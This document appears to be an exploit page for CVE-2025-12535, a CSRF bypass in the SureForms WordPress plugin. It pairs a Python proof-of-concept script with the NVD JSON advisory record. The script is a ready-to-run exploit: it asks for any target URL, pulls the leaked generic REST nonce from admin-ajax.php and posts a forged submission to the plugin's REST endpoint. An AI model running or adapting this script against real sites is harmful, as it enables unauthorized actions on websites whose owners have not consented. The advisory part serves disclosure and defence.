CVE-2025-12535

#!/usr/bin/env python3 """ CVE-2025-12535 PoC - SureForms CSRF Bypass Note: This PoC is for educational and security testing purposes only. """ import requests import re from urllib.parse import urljoin def get_rest_nonce(target_url): """Fetch the generic WordPress REST nonce from the target site""" ajax_url = urljoin(target_url, 'wp-admin/admin-ajax.php') params = {'action': 'rest-nonce'} try: response = requests.get(ajax_url, params=params, timeout=10) if response.status_code == 200: return response.text.strip() except requests.RequestException: pass return None def exploit_csrf(target_url, rest_nonce): """ Exploit the CSRF bypass by making a forged form submission request using the leaked REST nonce. """ api_endpoint = urljoin(target_url, 'wp-json/sureforms/v1/submit') headers = { 'X-WP-Nonce': rest_nonce, 'Content-Type': 'application/json', 'Referer': target_url } payload = { 'form_id': 1, 'fields': { 'name': 'Attacker', 'email': '[email protected]', 'message': 'Malicious submission via CSRF' } } try: response = requests.post(api_endpoint, json=payload, headers=headers, timeout=10) return response.status_code, response.text except requests.RequestException as e: return None, str(e) def main(): target = input("Enter target URL (e.g., https://example.com): ").strip() if not target.startswith(('http://', 'https://')): target = 'https://' + target print(f"[*] Fetching REST nonce from {target}...") nonce = get_rest_nonce(target) if not nonce: print("[-] Failed to obtain REST nonce") return print(f"[+] Obtained REST nonce: {nonce}") print(f"[*] Attempting CSRF exploitation...") status, response = exploit_csrf(target, nonce) if status: print(f"[+] Request sent. Status: {status}") print(f"[*] Response: {response[:200]}...") else: print(f"[-] Exploitation failed: {response}") if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-12535", "sourceIdentifier": "[email protected]", "published": "2025-11-19T07:15:49.753", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SureForms plugin for WordPress is vulnerable to Cross-Site Request Forgery Bypass in all versions up to, and including, 1.13.1. This is due to the plugin distributing generic WordPress REST API nonces (wp_rest) to unauthenticated users via the 'wp_ajax_nopriv_rest-nonce' action. While the plugin legitimately needs to support unauthenticated form submissions, it incorrectly uses generic REST nonces instead of form-specific nonces. This makes it possible for unauthenticated attackers to bypass CSRF protection on REST API endpoints that rely solely on nonce verification without additional authentication checks, allowing them to trigger unauthorized actions such as the plugin's own post-submission hooks and potentially other plugins' REST endpoints."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/sureforms/tags/1.13.1/inc/admin-ajax.php#L45", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sureforms/tags/1.13.1/inc/background-process.php#L74", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3391762%40sureforms%2Ftrunk&old=3382423%40sureforms%2Ftrunk&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b083cf9d-bcfe-4234-a816-2d216da28b57?source=cve", "source": "[email protected]"}]}}